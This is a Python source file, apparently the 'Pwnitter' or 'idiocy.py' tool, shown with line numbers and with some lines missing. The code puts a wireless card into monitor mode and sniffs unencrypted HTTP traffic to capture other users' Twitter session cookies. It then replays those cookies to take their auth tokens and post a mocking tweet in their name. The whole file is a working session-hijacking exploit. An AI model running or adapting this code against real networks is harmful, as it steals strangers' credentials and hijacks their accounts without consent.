3 # * apt-get install libpcap0.8 python-pypcap python-dpkt
4 # * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 # * ./idiocy.py -i mon0
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
17 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
20 print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0]
23 NAME = 'de.cryptobitch.muelli.Pwnitter'
25 class Pwnitter(dbus.service.Object):
26 def __init__(self, bus, object_name, device='mon0'):
27 super(Pwnitter, self).__init__(bus, object_name)
31 self.is_running = False
33 def setup_monitor(device='mon0'):
34 # FIXME: Replace hardcoded interface
35 cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
37 cmd = '/sbin/ifconfig mon0 up'.split()
40 @dbus.service.method(NAME,
41 in_signature='', out_signature='')
42 def Start(self, filename=None):
43 # FIXME: Prevent double Start()
44 if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
45 self.setup_monitor(device)
47 else: # We have given a filename, so let's make PCap read from the file
49 self.is_running = True
51 self.cap = pcap.pcap(device)
53 print "Error setting up %s" % device
55 self.cap.setfilter('dst port 80')
56 cap_fileno = self.cap.fileno()
57 self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device)
59 @dbus.service.method(NAME,
60 in_signature='s', out_signature='')
61 def StartFromFile(self, filename):
62 return self.Start(filename=filename)
65 def cap_readable_callback(self, source, condition, device):
66 return self.pwn(device, self.MessageSent)
68 @dbus.service.signal(NAME)
69 def MessageSent(self, who):
70 print "Emitting MessageSent"
75 @dbus.service.method(NAME,
76 in_signature='s', out_signature='')
77 def SetMessage(self, message):
80 @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
81 in_signature='', out_signature='s')
86 def tear_down_monitor(self, device='mon0'):
87 cmd = '/sbin/ifconfig mon0 down'.split()
89 cmd = '/usr/sbin/iw dev mon0 del'.split()
92 @dbus.service.method(NAME,
93 in_signature='', out_signature='')
95 self.is_running = False
97 gobject.source_remove(self.source_id)
98 self.tear_down_monitor(self.device)
102 def pwn(self, device, tweeted_callback=None):
104 if self.is_running: # This is probably not needed, but I feel better checking it more than too less
105 ts, raw = self.cap.next()
106 eth = dpkt.ethernet.Ethernet(raw)
107 #print 'got a packet'
108 # Depending on platform, we can either get fully formed packets or unclassified radio data
109 if isinstance(eth.data, str):
112 data = eth.data.data.data
114 hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
117 host = hostMatches.group(1)
119 cookieMatches = re.search('Cookie: ([^\n]+)', data)
121 cookie = cookieMatches.group(1)
124 "User-Agent": "Mozilla/5.0",
128 conn = httplib.HTTPSConnection(host)
130 conn.request("GET", "/", None, headers)
131 except socket.error, e:
134 response = conn.getresponse()
135 page = response.read()
137 # Newtwitter and Oldtwitter have different formatting, so be lax
140 formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
142 authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
145 authToken = authMatches.group(1)
147 nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
149 nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
153 name = nameMatches.group(1)
156 # We don't want to repeatedly spam people
157 # FIXME: What the fuck logic. Please clean up
158 if not ((not name and host != 'mobile.twitter.com') or name in processed):
160 "User-Agent": "Mozilla/5.0",
161 "Accept": "application/json, text/javascript, */*",
162 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
163 "X-Requested-With": "XMLHttpRequest",
165 "Referer": "http://api.twitter.com/p_receiver.html",
170 print 'Issueing connection'
171 if host == 'mobile.twitter.com':
173 params = urllib.urlencode({
174 'tweet[text]': self.status,
175 'authenticity_token': authToken
178 conn = httplib.HTTPConnection("mobile.twitter.com")
179 conn.request("POST", "/", params, headers)
183 params = urllib.urlencode({
184 'status': self.status,
185 'post_authenticity_token': authToken
188 conn = httplib.HTTPConnection("api.twitter.com")
189 conn.request("POST", "/1/statuses/update.json", params, headers)
192 response = conn.getresponse()
193 print 'Got response: %s' % response.status
194 if response.status == 200 or response.status == 302 or response.status == 403:
199 # 403 is a dupe tweet
200 if response.status != 403:
201 print "Successfully tweeted as %s" % name
202 print 'calling %s' % tweeted_callback
204 tweeted_callback(name)
206 print 'Already tweeted as %s' % name
210 print "FAILED to tweet as %s, debug follows:" % name
211 print response.status, response.reason
212 print response.read() + "\n"
213 return self.is_running # Execute next time, we're idle
214 # FIXME: Ideally, check whether Pcap has got data for us
218 opts, args = getopt.getopt(sys.argv[1:], 'i:h')
229 if __name__ == '__main__':
230 from optparse import OptionParser
231 parser = OptionParser("usage: %prog [options]")
232 parser.add_option("-l", "--loglevel", dest="loglevel",
233 help="Sets the loglevel to one of debug, info, warn, error, critical")
234 parser.add_option("-s", "--session", dest="use_session_bus",
235 action="store_true", default=False,
236 help="Bind Pwnitter to the SessionBus instead of the SystemBus")
237 (options, args) = parser.parse_args()
238 loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
239 'warn': logging.WARN, 'error': logging.ERROR,
240 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
241 logging.basicConfig(level=loglevel)
242 log = logging.getLogger("Main")
244 dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
246 if options.use_session_bus:
247 session_bus = dbus.SessionBus()
249 session_bus = dbus.SystemBus()
250 name = dbus.service.BusName(NAME, session_bus)
251 pwnitter = Pwnitter(session_bus, '/Pwnitter')
254 loop = gobject.MainLoop()
255 print "Running example signal emitter service."
256 # FIXME: This is debug code
257 #gobject.idle_add(pwnitter.MessageSent)
260 print "Exiting for whatever reason"